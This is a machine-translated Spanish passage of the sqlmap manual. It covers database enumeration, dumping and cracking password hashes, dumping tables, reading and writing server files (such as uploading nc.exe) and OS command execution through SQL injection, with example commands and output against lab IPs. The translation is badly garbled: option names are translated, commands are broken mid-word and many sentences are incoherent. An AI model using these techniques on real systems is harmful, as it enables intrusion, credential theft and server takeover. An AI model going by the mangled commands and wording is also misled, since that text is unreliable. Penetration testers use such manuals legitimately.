Interruptores: -f o --fingerprint Por defecto de huellas dactilares sistema de gestión de base de datos back-end de la aplicación web es manejado automáticamente por sqlmap. Justo después de que finalice la fase de detección y el usuario con el tiempo se le solicita con una elección de qué parámetro vulnerable a utilizar más adelante, las huellas dactilares sqlmap el sistema de gestión de base de datos back-end y continúa con la inyección por saber qué sintaxis SQL, dialecto y consultas de usar para proceder con el ataque dentro de los límites de la arquitectura de base de datos.

Si por alguna instancia que desea llevar a cabo una extensa base de datos de huellas dactilares sistema de gestión basado en diversas técnicas como dialectos SQL específicas y mensajes de error dentro de banda, puede proporcionar el interruptor --fingerprint . sqlmap va a realizar muchas más solicitudes y las huellas digitales de la versión exacta de DBMS y, cuando sea posible, el sistema operativo, la arquitectura y el nivel de parche. Si desea que la huella digital sea resultado aún más preciso, también puede proporcionar el interruptor -b o --banner .

Enumeración

Estas opciones se pueden utilizar para enumerar el sistema de gestión de base de datos de información, estructura de fondo y los datos contenidos en las tablas. Por otra parte usted puede ejecutar sus propias sentencias SQL.

Page 30: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

recuperar todos

Cambiar: --all Este interruptor puede ser utilizado en situaciones en las que el usuario quiere recuperar todo remotamente accesible mediante el uso de un único conmutador. Esto no es recomendable ya que generará gran número de peticiones de recuperación de datos útiles y inútiles.

Bandera

Cambiar: -b o --banner La mayoría de los sistemas modernos de gestión de base de datos tienen una función y / o una variable de entorno que devuelve la versión del sistema de gestión de base de datos y, finalmente, detalles sobre su nivel de parche, el sistema subyacente. Por lo general, la función es la versión () y la variable de entorno se @@ version , pero esto puede variar dependiendo de los DBMS de destino. Ejemplo contra un objetivo de Oracle:

$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" - \ -bandera [...] [Xx: xx: 11] [INFO] bandera ir a buscar La tecnología de aplicaciones web: PHP 5.2.6, 2.2.9 Apache back-end DBMS: Oracle banner: 'Base de Datos Oracle 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

usuario de la sesión

Cambiar: --current usuario Con este interruptor es posible recuperar los usuarios del sistema de gestión de base de datos que está llevando a cabo de manera efectiva la consulta en el DBMS de back-end de la aplicación web.

base de datos actual

Cambiar: --current-db Con este interruptor es posible recuperar el nombre de la base de datos del sistema de gestión de base de datos que la aplicación web está conectado.

nombre de host del servidor

Cambiar: --hostname Con este conmutador es posible para recuperar el nombre del sistema de gestión de base de datos.

Page 31: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Ejemplo frente a un objetivo de MySQL:

$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" - \ nombre de host [...] [Xx: xx: 04] [INFO] ir a buscar el nombre de host del servidor [Xx: xx: 04] [INFO] recuperado: debian-5.0-i386 nombre de host: 'debian-5.0-i386'

Detectar si el usuario de la sesión es un administrador de la base

Cambiar: --es-dba Es posible detectar si la base de datos de gestión de sesión del sistema de usuario actual es un administrador de base de datos, también conocida como DBA. sqlmap volverá Verdadero si lo es, viceversa Falso .

los usuarios del sistema de gestión de base de datos de la lista

Switch: --users Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que contiene información sobre los usuarios DBMS, es posible enumerar la lista de usuarios.

Lista de crack y de gestión de base de datos de los usuarios del sistema hashes de contraseñas

Switch: --passwords Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que contiene información acerca de las contraseñas de los usuarios de DBMS, es posible enumerar los hashes de contraseñas para cada usuario del sistema de gestión de base de datos. sqlmap primero enumerar los usuarios, a continuación, los diferentes hashes de contraseñas para cada uno de ellos.

Ejemplo frente a un objetivo de PostgreSQL:

$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" - \ contraseñas -v 1 [...] DBMS PostgreSQL: [hh: mm: 38] [info] ir a buscar a los usuarios de bases de datos hashes de contraseñas ¿desea utilizar el ataque de diccionario sobre hashes de contraseñas recuperadas? [Y / n / q] y

Page 32: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

[Hh: mm: 42] [INFO] utilizando el método de hash: 'postgres_passwd' ¿cuál es la ubicación del diccionario? [/software/sqlmap/txt/wordlist.txt] [Hh: mm: 46] [INFO] Diccionario de carga: '/software/sqlmap/txt/wordlist.txt' Qué desea utilizar sufijos comunes contraseña? (Lento!) [S / N] n [Hh: mm: 48] [INFO] a partir ataque de diccionario (postgres_passwd) [Hh: mm: 49] [INFO] encontrado: 'testpass' para el usuario: 'testuser' [Hh: mm: 50] [INFO] encontrado: 'testpass' para el usuario: 'postgres' de gestión de base de datos de los usuarios del sistema hashes de contraseñas: [*] Postgres [1]: hash de la contraseña: md5d7d880f96044b72d0bba108ace96d1e4 contraseña de texto: testpass [*] Usuarioprueba [1]: hash de la contraseña: md599e5ea7a6f7c3269995cba3927fd0093 contraseña de texto: testpass

No sólo enumeró sqlmap los usuarios DBMS y sus contraseñas, pero también reconoce el formato de hash ser PostgreSQL, le pregunta al usuario si desea o no probar los hashes contra un archivo de diccionario e identificó la contraseña de texto para el postgres usuario, que es por lo general a lo largo de un DBA del usuario aparte, usuarioprueba , contraseña. Esta característica se ha implementado para todos los DBMS en los que es posible enumerar los hashes de contraseñas de los usuarios, incluyendo Oracle y Microsoft SQL Server pre y post-2005.

También puede proporcionar la opción -U para especificar el usuario específico que desea enumerar y finalmente romper el hash de la contraseña (s). Si proporciona CU como nombre de usuario que lo considerará como un alias para el usuario actual y recuperará el hash de la contraseña (es) de este anuncio.

privilegios de usuarios en la lista de sistemas de gestión de bases de datos

Cambiar: --privileges Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que contiene información sobre los usuarios DBMS, es posible enumerar los privilegios de cada usuario del sistema de gestión de base de datos. Por los privilegios, sqlmap también le que son administradores de bases de mostrar.

También puede proporcionar la opción -U para especificar el usuario que desea enumerar los privilegios. Si proporciona CU como nombre de usuario que lo considerará como un alias para el usuario actual y enumerará los privilegios de este anuncio. En Microsoft SQL Server, esta función mostrará que si cada usuario es un administrador de base de datos en lugar de la lista de privilegios para todos los usuarios.

roles de usuarios en la lista de sistemas de gestión de bases de datos

Page 33: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Cambiar: --roles Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que contiene información sobre los usuarios DBMS, es posible enumerar las funciones para cada usuario del sistema de gestión de base de datos.

También puede proporcionar la opción -U para especificar el usuario que desea enumerar los privilegios. Si proporciona CU como nombre de usuario que lo considerará como un alias para el usuario actual y enumerará los privilegios de este anuncio. Esta función sólo está disponible cuando el DBMS es Oracle.

Lista de las bases de datos del sistema de gestión de base de datos

Cambiar: --dbs Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que contiene información acerca de las bases de datos disponibles, es posible enumerar la lista de bases de datos.

Enumerar las tablas de la base de datos

Interruptores y de opción: --tables , --exclude-sysdbs y -D Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que contiene información acerca de las tablas de bases de datos ', es posible enumerar la lista de tablas de bases de datos de un sistema específico de gestión de base de datos.

Si usted no proporciona una base de datos específica con la opción -D , sqlmap enumerará las tablas de bases de datos para todos los DBMS. También puede proporcionar el interruptor --exclude-sysdbs para excluir todas las bases de datos del sistema. Tenga en cuenta que en Oracle tiene que proporcionar la TABLESPACE_NAME lugar del nombre de la base de datos.

Enumerar las columnas de tabla de base de datos

Switch y opciones: --columns , -C , -T y -D Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que contiene información acerca de las tablas de base de datos, es posible enumerar la lista de columnas de una tabla de base de datos específica. sqlmap también enumera el tipo de datos para cada columna.

Esta función depende de la opción -T para especificar el nombre de la tabla y, opcionalmente, en-D para especificar el nombre de la base de datos. Cuando no se especifica el nombre de la base de datos, se utiliza el nombre de base de datos

Page 34: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

actual. También puede proporcionar la -C opción para especificar las columnas Nombre de la tabla como la que se ha proporcionado de estar numerado. Ejemplo contra un objetivo SQLite:

$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" - \ -Columnas -D testdb -T usuarios -C nombre [...] Base de datos: SQLite_masterdb Tabla: usuarios [3 columnas] --------- --------- + + + | columna | Tipo | --------- --------- + + + | Identificación | INTEGER | | nombre | TEXTO | | apellido | TEXTO | --------- --------- + + +

Tenga en cuenta que en PostgreSQL tiene que proporcionar pública o el nombre de una base de datos del sistema. Esto se debe a que no es posible enumerar las tablas de otras bases de datos, sólo las tablas bajo el esquema de ese usuario de la aplicación web está conectado a, que siempre es un alias por el público .

Enumerar la base de datos de esquema del sistema de gestión

Interruptores: --schema y --exclude-sysdbs El usuario puede recuperar un esquema DBMS mediante el uso de este interruptor. Esquema listado contendrá todas las bases de datos, tablas y columnas, junto con sus respectivos tipos. En combinación con --exclude-sysdbs sólo una parte del esquema que contiene las bases de datos no son del sistema se recuperará y se muestra. Ejemplo frente a un objetivo de MySQL:

$ Python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" -S \ chema - lotes --exclude-sysdbs [...] Base de datos: owasp10 Tabla: cuentas [4 columnas] + ------------- + --------- + | columna | Tipo | + ------------- + --------- + | cid | int (11) | | mysignature | texto | | contraseña | texto | | username | texto | + ------------- + --------- + Base de datos: owasp10

Page 35: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Tabla: blogs_table [4 columnas] + -------------- + ---------- + | columna | Tipo | + -------------- + ---------- + | fecha | fecha y hora | | blogger_name | texto | | cid | int (11) | | comentario | texto | + -------------- + ---------- + Base de datos: owasp10 Tabla: hitlog [6 columnas] + ---------- + ---------- + | columna | Tipo | + ---------- + ---------- + | fecha | fecha y hora | | navegador | texto | | cid | int (11) | | nombre de host | texto | | IP | texto | | árbitro | texto | + ---------- + ---------- + Base de datos: testdb Tabla: usuarios [3 columnas] + --------- + --------------- + | columna | Tipo | + --------- + --------------- + | Identificación | int (11) | | nombre | varchar (500) | | apellido | varchar (1000) | + --------- + --------------- + [...]

Recuperar número de entradas para la mesa (s)

Cambiar: --count En caso de que el usuario sólo quiere saber el número de entradas en la tabla (s) antes de vertido al deseado, puede usar este parámetro.

Ejemplo frente a un objetivo de Microsoft SQL Server:

$ Python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" \ --count -D testdb [...] Base de datos: testdb + ---------------- + --------- + | Tabla | entradas | + ---------------- + --------- +

Page 36: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

| dbo.users | 4 | | dbo.users_blob | 2 | + ---------------- + --------- +

entradas de la tabla de base de datos de volcado

Switch y opciones: --dump , -C , -T , -D , --start , --stop , --first , --last , --pivot-columna y --donde Cuando el usuario de la sesión tiene acceso de lectura a la tabla de una base de datos específica, es posible volcar las entradas de la tabla.

Esta funcionalidad depende de la opción -T para especificar el nombre de la tabla y, opcionalmente, en la opción -D para especificar el nombre de la base de datos. Si se proporciona el nombre de la tabla, pero el nombre de la base de datos no es, se utiliza el nombre de base de datos actual. Ejemplo contra un objetivo Firebird:

$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" \ --dump usuarios -T [...] Base de datos: Firebird_masterdb Tabla: USUARIOS [4 entradas] + ---- + -------- + ------------ + | Identificación | NOMBRE | APELLIDOS | + ---- + -------- + ------------ + | 1 | Luther | Blisset | | 2 | esponjoso | conejito | | 3 | wu | ming | | 4 | NULL | nameisnull | + ---- + -------- + ------------ +

Este conmutador también se puede utilizar para volcar entradas de una base de datos proporcionada todas las tablas. Usted simplemente tiene que proporcionar sqlmap con el interruptor --dump junto con sólo la opción -D (sin -T ni -C ). También puede proporcionar una lista separada por comas de las columnas específicas para volcar con la opción -C . sqlmap también genera para cada tabla vierten las entradas en un archivo de formato de texto CSV. Se puede ver la ruta absoluta donde sqlmap crea el archivo, proporcionando un nivel de detalle mayor que o igual a 1 .

Si desea volcar sólo un rango de entradas, a continuación, puede proporcionar opciones --starty / o --stop para empezar respectivamente para volcar a partir de una cierta entrada y detener el volcado a una cierta entrada. Por ejemplo, si desea volcar sólo la primera entrada, proporcionar --stop 1 en la línea de comandos. Viceversa, si, por ejemplo, desea volcar sólo la segunda y tercera entrada, proporcionar --start 1 --stop 3 . También es posible especificar qué solo carácter o conjunto de caracteres para volcar con opciones --first y --last . Por ejemplo, si desea volcar entradas columnas 'de la tercera a la quinta carácter, proporcionar --first 3 --last 5 .

Page 37: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Esta característica sólo se aplica a las técnicas de inyección SQL ciegos debido a las técnicas de inyección de consultas basadas en SQL de error y de la Unión el número de peticiones es exactamente el mismo, independientemente de la duración de la salida de la entrada de la columna para volcar. A veces (por ejemplo, para Microsoft SQL Server, Sybase y SAP MaxDB) no es posible para volcar las filas de la tabla sencilla mediante el uso de m, n OFFSET mecanismo debido a la falta de parecido. En tales casos sqlmap vuelca el contenido mediante la determinación de la más adecuada de pivote columna (la que tiene la mayoría de los valores únicos) cuyos valores se utilizan más adelante para la recuperación de otros valores de columna. Si es necesario para hacer cumplir el uso de especial pivote columna debido a la elegida automáticamente no es adecuado (por ejemplo, debido a la falta de resultados de volcado de la tabla) se puede utilizar la opción --pivot-columna (por ejemplo --pivot-columna = id ). En caso de que desee a la restricción del vertedero a los valores específicos de las columnas (o rangos), puede utilizar la opción --donde . Operación lógica proporcionada será utilizada de forma automática dentro del DONDE cláusula. Por ejemplo, si se utiliza --Si llegara a ocurrir "id => 3" sólo filas de la tabla que tienen valor de la columna ID se recuperarán mayor que 3 (anexando WHERE id> 3 a las consultas de dumping utilizados). Como se habrán dado cuenta por ahora, sqlmap es flexibles : se puede dejar a volcar de forma automática toda la tabla de base de datos o puede ser muy preciso en el que personajes a volcar, a partir del cual las columnas y qué rango de entradas.

Volcar todas las entradas de bases de datos de las tablas

Interruptores: --dump-todos y --exclude-sysdbs Es posible volcar todas las entradas de bases de datos mesas a la vez que el usuario de la sesión tiene acceso de lectura en.

También puede proporcionar el interruptor --exclude-sysdbs para excluir todas las bases de datos del sistema. En ese caso sólo se volcará sqlmap entradas de las tablas de bases de datos de los usuarios. Tenga en cuenta que en Microsoft SQL Server el maestro de base de datos no se considera una base de datos del sistema debido a que algunos administradores de bases utilizan como base de datos 'a los usuarios.

Búsqueda de columnas, tablas o bases de datos

Switch y opciones: --search , -C , -T , -D Este interruptor le permite buscar nombres de bases de datos específicas, tablas específicas a través de todas las bases de datos o columnas específicas a través de las tablas de las bases de datos ' .

Page 38: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Esto es útil, por ejemplo, para identificar las tablas que contienen las credenciales de aplicación personalizados donde los nombres de las columnas relevantes 'contienen cadena como nombre ypase .

Interruptor --search necesita ser utilizado en conjunción con una de las siguientes opciones de soporte:

-C Siguiendo una lista de nombres de columnas separadas por comas para buscar a través de todo el sistema de gestión de base de datos.

-T Siguiendo una lista de nombres de tabla separados por comas para buscar a través de todo el sistema de gestión de base de datos.

-D Siguiendo una lista de nombres de bases de datos separados por comas para buscar a través del sistema de gestión de base de datos.

Ejecutar instrucción SQL personalizada

Opción y el interruptor: --sql-consulta y --sql-shell La consulta SQL y las funciones de shell SQL permiten ejecutar comandos SQL arbitrarios en el sistema de gestión de base de datos. sqlmap disecciona de forma automática la declaración proporcionada, determina qué técnica es apropiado utilizar para inyectar y cómo empacar la carga útil de SQL en consecuencia.

Si la consulta es un SELECT declaración, sqlmap recuperará su salida. De lo contrario, se ejecutará la consulta a través de la técnica de inyección de consulta SQL apilados si la aplicación web es compatible con múltiples declaraciones sobre el sistema de gestión de base de datos back-end. Ten en cuenta que algunas tecnologías de aplicaciones Web no admiten consultas apilados sobre los sistemas específicos de gestión de base de datos. Por ejemplo, PHP no admite consultas apiladas cuando el back-end DBMS es MySQL, pero lo hace de soporte cuando el back-end DBMS es PostgreSQL. Ejemplos contra un objetivo de Microsoft SQL Server 2000:

$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" - \ sql-query "SELECT" foo "" -v 1 [...] [Hh: mm: 14] [INFO] ir a buscar salida de la consulta SQL SELECT: 'SELECT' foo '' [Hh: mm: 14] [INFO] recuperado: foo SELECT 'foo': 'foo' $ Python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" - \ sql-query "SELECT 'foo', 'bar'" -v 2 [...] [Hh: mm: 50] [INFO] ir a buscar salida de la consulta SQL SELECT: 'SELECT' foo ',' bar '' [Hh: mm: 50] [INFO] la consulta SQL proporcionada tiene más de un campo. sqlmap ahora

Page 39: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

descomprimirlo en distintas consultas para poder recuperar la salida incluso si estamos quedando ciego [Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (102) + CHAR (111) + CHAR (111)) AS VARCHAR (8000)), (CHAR (32))) [Hh: mm: 50] [INFO] recuperado: foo [Hh: mm: 50] [DEBUG] realizó 27 consultas en 0 segundos [Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (98) + CHAR (97) + CHAR (114)) COMO VA RCHAR (8000)), (CHAR (32))) [Hh: mm: 50] [INFO] recuperado: Barra [Hh: mm: 50] [DEBUG] realizó 27 consultas en 0 segundos SELECT 'foo', 'bar': 'foo, bar'

Como se puede ver, sqlmap divide la consulta proporcionada en dos diferentes SELECTdeclaraciones luego recupera la salida para cada consulta independiente. Si la consulta se proporciona un SELECT declaración y contiene una DESDE cláusula, sqlmap le preguntará si dicha declaración puede devolver múltiples entradas. En ese caso, la herramienta sabe cómo desembalar la consulta correctamente para contar el número de entradas posibles y recuperar su salida, entrada por entrada. La opción del shell SQL le permite ejecutar su propia sentencia de SQL de forma interactiva, como una consola de SQL conectado al sistema de gestión de base de datos. Esta característica proporciona la implementación del tabulador y apoyo la historia también.

Fuerza bruta

Estos interruptores se pueden utilizar para realizar comprobaciones de fuerza bruta.

nombres de las tablas de fuerza bruta

Cambiar: --common mesas Hay casos en que los interruptores --tables no se pueden utilizar para recuperar los nombres de tabla las bases de datos. Estos casos normalmente encajan en una de las siguientes categorías:

El sistema de gestión de base de datos MySQL es <5,0 , donde INFORMATION_SCHEMA no está disponible.

El sistema de gestión de base de datos es Microsoft Access y tabla de sistema MSysObjectsno es legible - configuración por defecto.

El usuario de la sesión no tiene privilegios de lectura en contra de la tabla de sistema almacenar el esquema de las bases de datos.

Si cualquiera de los dos primeros casos se aplican y se presentó el interruptor --tables , sqlmap le pedirá con una pregunta que recurrir a esta técnica. Cualquiera de estos casos se aplican a su situación, puede sqlmap posiblemente todavía

Page 40: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

identificar algunas tablas existentes si se proporciona con el interruptor --common-mesas . sqlmap llevará a cabo un ataque de fuerza bruta con el fin de detectar la existencia de tablas comunes en todo el DBMS. La lista de nombres de tabla comunes es txt / common-tables.txt y se puede editar como desee. Ejemplo 4.1 contra un objetivo MySQL:

$ Python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo \ n-mesas -D testdb --banner [...] [Hh: mm: 39] [INFO] MySQL prueba [Hh: mm: 39] [INFO] confirmando MySQL [Hh: mm: 40] [INFO] el back-end DBMS es MySQL [Hh: mm: 40] [INFO] bandera ir a buscar sistema operativo del servidor Web: Windows La tecnología de aplicaciones web: PHP 5.3.1, 2.2.14 de Apache sistema operativo DBMS: Windows DBMS: MySQL <5.0.0 banner: "4.1.21-comunidad-nt ' [Hh: mm: 40] [INFO] comprobación de la existencia tabla usando artículos de '/ software / sqlmap / tx t / common-tables.txt ' [Hh: mm: 40] [INFO] la adición de palabras que se usan en la página web a la lista de verificación Por favor, introduzca el número de hilos? [Enter para 1 (actual)] 8 [Hh: mm: 43] [INFO] recuperado: los usuarios Base de datos: testdb [1 mesa] + ------- + | usuarios | + ------- +

El Bruto nombres de columnas de fuerza

Interruptor: --common-columnas De acuerdo con las tablas, hay casos en los interruptores --columns no se pueden utilizar para obtener los nombres de las columnas de las bases de datos "cuadros". Estos casos normalmente encajan en una de las siguientes categorías:

El sistema de gestión de base de datos MySQL es <5,0 , donde INFORMATION_SCHEMA no está disponible.

El sistema de gestión de base de datos Microsoft Access es donde este tipo de información no está disponible dentro de las tablas del sistema.

El usuario de la sesión no tiene privilegios de lectura en contra de la tabla de sistema almacenar el esquema de las bases de datos.

Page 41: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Si cualquiera de los dos primeros casos se aplican y se presentó el interruptor --columns , sqlmap le pedirá con una pregunta que recurrir a esta técnica. Cualquiera de estos casos se aplican a su situación, puede sqlmap posiblemente todavía identificar algunas tablas existentes si se proporciona con el interruptor --common-columnas . sqlmap llevará a cabo un ataque de fuerza bruta con el fin de detectar la existencia de columnas comunes en todo el DBMS. La lista de nombres de tabla comunes es txt / common-columns.txt y se puede editar como desee.

inyección de la función definida por el usuario

Estas opciones se pueden usar para crear funciones definidas por el usuario personalizados.

Inyectar funciones definidas por el usuario personalizados (UDF)

Switch y opción: --udf a inyectar y --shared-lib Usted puede inyectar sus propias funciones definidas por el usuario (UDF) mediante la compilación de una biblioteca compartida MySQL o PostgreSQL, DLL para Windows y objetos compartidos para Linux / Unix, a continuación, proporcionar sqlmap con la ruta en la biblioteca compartida se almacena localmente en su equipo. sqlmap A continuación, algunas preguntas, cargar la biblioteca compartida en el sistema de archivos del servidor de base de datos, crear la función (s) definida por el usuario de la misma y, en función de sus opciones, ejecutarlos. Cuando haya terminado de utilizar las UDF inyectados, sqlmap también puede eliminarlos de la base de datos para usted.

Estas técnicas se detallan en el libro blanco de inyección SQL avanzado sistema operativo para el control total .

Utilice la opción --udf a inyectar y siga las instrucciones. Si lo desea, puede especificar la ruta de acceso local de la biblioteca compartida de sistema de archivos a través de línea de comandos también mediante el uso de --shared-lib opción.Viceversa sqlmap le preguntará por la ruta de acceso en tiempo de ejecución. Esta función sólo está disponible cuando el sistema de gestión de base de datos es MySQL o PostgreSQL.

el acceso al sistema de archivos

Page 42: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Leer un archivo de sistema de archivos del servidor de base de datos

Opción: --file-lee Es posible recuperar el contenido de los archivos del sistema de archivos subyacente cuando el sistema de gestión de base de datos back-end puede ser MySQL, PostgreSQL o Microsoft SQL Server y el usuario de la sesión tiene los privilegios necesarios para abusar de funcionalidades específicas de bases de datos y los puntos débiles de arquitectura. El archivo especificado puede ser un texto o un archivo binario. sqlmap manejará adecuadamente.

Estas técnicas se detallan en el libro blanco de inyección SQL avanzado sistema operativo para el control total .

Ejemplo frente a un objetivo de Microsoft SQL Server 2005 para recuperar un archivo binario:

$ Python sqlmap.py -u "http: //192.168.136.129/sqlmap/mssql/iis/get_str2.asp nam \? e = Luther "--file-leer" C: /example.exe "-v 1 [...] [Hh: mm: 49] [INFO] el back-end DBMS es Microsoft SQL Server sistema operativo del servidor Web: Windows 2000 La tecnología de aplicaciones web: ASP.NET, Microsoft IIS 6.0, ASP DBMS de back-end: Microsoft SQL Server 2005 [Hh: mm: 50] [INFO] Extrayendo archivo: "C: /example.exe ' [Hh: mm: 50] [INFO] la consulta SQL proporciona rendimientos 3 entradas C: archivo guardado en /example.exe: '/software/sqlmap/output/192.168.136.129/files/ C__example.exe ' [...] $ Ls -l / salida 192.168.136.129 / archivos / C__example.exe -rw-r - r-- 1 Inquis Inquis 2560 hh 2011-MM-DD: salida mm / 192.168.136.129 / archivos / C_ _example.exe $ 192.168.136.129 de escritura de ficheros / archivos / / C__example.exe salida / 192.168.136.129 / archivos / C__example.exe: PE32 ejecutables para MS Windows (GUI ) Intel 80386 de 32 bits

Cargar un archivo en el sistema de archivos del servidor de base de datos

Opciones: --file-escritura y --file-dest

Page 43: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Es posible cargar un archivo local al sistema de archivos del servidor de base de datos cuando el sistema de gestión de base de datos back-end puede ser MySQL, PostgreSQL o Microsoft SQL Server y el usuario de la sesión tiene los privilegios necesarios para abusar de funcionalidades específicas de bases de datos y los puntos débiles de arquitectura. El archivo especificado puede ser un texto o un archivo binario. sqlmap manejará adecuadamente.

Estas técnicas se detallan en el libro blanco de inyección SQL avanzado sistema operativo para el control total .

Ejemplo contra un objetivo MySQL para cargar un archivo comprimido mediante UPX-binaria:

archivo $ /software/nc.exe.packed PE32 ejecutable para MS Windows (consola) Intel 80386 32: /software/nc.exe.packed -poco $ Ls -l /software/nc.exe.packed Inquis -rwxr-xr-x 1 Inquis 31744 hh 2009-MM-DD: mm /software/nc.exe.packed $ Python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" - \ -file-escritura "/software/nc.exe.packed" --file-dest "C: /WINDOWS/Temp/nc.exe" -v 1 [...] [Hh: mm: 29] [INFO] el back-end DBMS es MySQL sistema operativo del servidor Web: Windows 2003 ó 2008 La tecnología de aplicaciones web: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end de DBMS: MySQL> = 5.0.0 [...] ¿desea la confirmación de que el archivo 'C: /WINDOWS/Temp/nc.exe' ha sido el éxito escrito completamente en el sistema de archivos DBMS? [Y / n] y [Hh: mm: 52] [INFO] recuperada: 31744 [Hh: mm: 52] [INFO] el archivo se ha escrito correctamente y su tamaño es de 31744 b ytes, mismo tamaño que el archivo local '/software/nc.exe.packed'

toma de control del sistema operativo

Ejecutar comandos arbitrarios sistema operativo

Opción y el interruptor: --os-cmd y --os-shell Es posible ejecutar comandos arbitrarios en el sistema operativo subyacente del servidor de base de datos cuando el sistema de gestión de base de datos back-end puede ser MySQL, PostgreSQL o Microsoft SQL Server y el usuario de

Page 44: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

la sesión tiene los privilegios necesarios para abusar de funcionalidades específicas de bases de datos y los puntos débiles de arquitectura.

En MySQL y PostgreSQL, subidas sqlmap (a través de la funcionalidad de carga de archivos se ha explicado anteriormente) una biblioteca compartida (archivo binario) que contiene dos funciones definidas por el usuario, sys_exec () y sys_eval () , entonces se crea estas dos funciones en la base de datos y llama a uno de ellos para ejecutar el comando especificado, según la elección del usuario para mostrar la salida estándar o no. En Microsoft SQL Server, abusos sqlmap el xp_cmdshell procedimiento almacenado: si está desactivado (por defecto en Microsoft SQL Server> = 2005), sqlmap re-habilita y si no existe, sqlmap crea desde cero. Cuando el usuario solicita la salida estándar, sqlmap utiliza una de las técnicas de inyección SQL (enumeración ciego, dentro de banda o basados en error) para recuperarlo. A la inversa, si no se requiere la salida estándar, técnica de inyección SQL consulta apilada se utiliza para ejecutar el comando.

Estas técnicas se detallan en el libro blanco de inyección SQL avanzado sistema operativo para el control total .

Ejemplo frente a un objetivo de PostgreSQL:

$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" - \ os-cmd Identificación -v 1 [...] La tecnología de aplicaciones web: PHP 5.2.6, 2.2.9 Apache DBMS PostgreSQL: [Hh: mm: 12] las huellas dactilares el sistema operativo DBMS [INFO] [Hh: mm: 12] [INFO] el sistema DBMS de back-end operativo es Linux [Hh: mm: 12] [INFO] prueba si el usuario actual es DBA [Hh: mm: 12] [INFO] detección de back-end versión DBMS de su bandera [Hh: mm: 12] Verificando 'sys_eval' ya existe [INFO] UDF [Hh: mm: 12] comprobar si ya existe [INFO] UDF 'sys_exec' [Hh: mm: 12] la creación del archivo UDF [INFO] UDF 'sys_eval' binario [Hh: mm: 12] [INFO] crear UDF 'sys_exec' desde el archivo UDF binaria ¿desea recuperar la salida estándar de comandos? [Y / n / a] y comando de salida estándar: '= 104 (postgres) gid = 106 (postgres) grupos uid = 106 (post gres) ' [Hh: mm: 19] de limpieza hasta el sistema de gestión de base de datos [INFO] ¿desea eliminar 'sys_eval' UDF? [Y / n] y ¿desea eliminar 'sys_exec' UDF? [Y / n] y [Hh: mm: 23] [INFO] limpieza del sistema de gestión de base de datos terminó [Hh: mm: 23] [ADVERTENCIA] recuerde que los archivos de objetos compartidos UDF guardan en los archivos sys tem sólo puede ser borrado manualmente

También es posible simular una concha real en el que puede escribir tantos comandos arbitrarios como desee. La opción es --os-shell y tiene las mismas implementación del tabulador y la historia funcionalidades que --sql-shell tiene.

Page 45: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

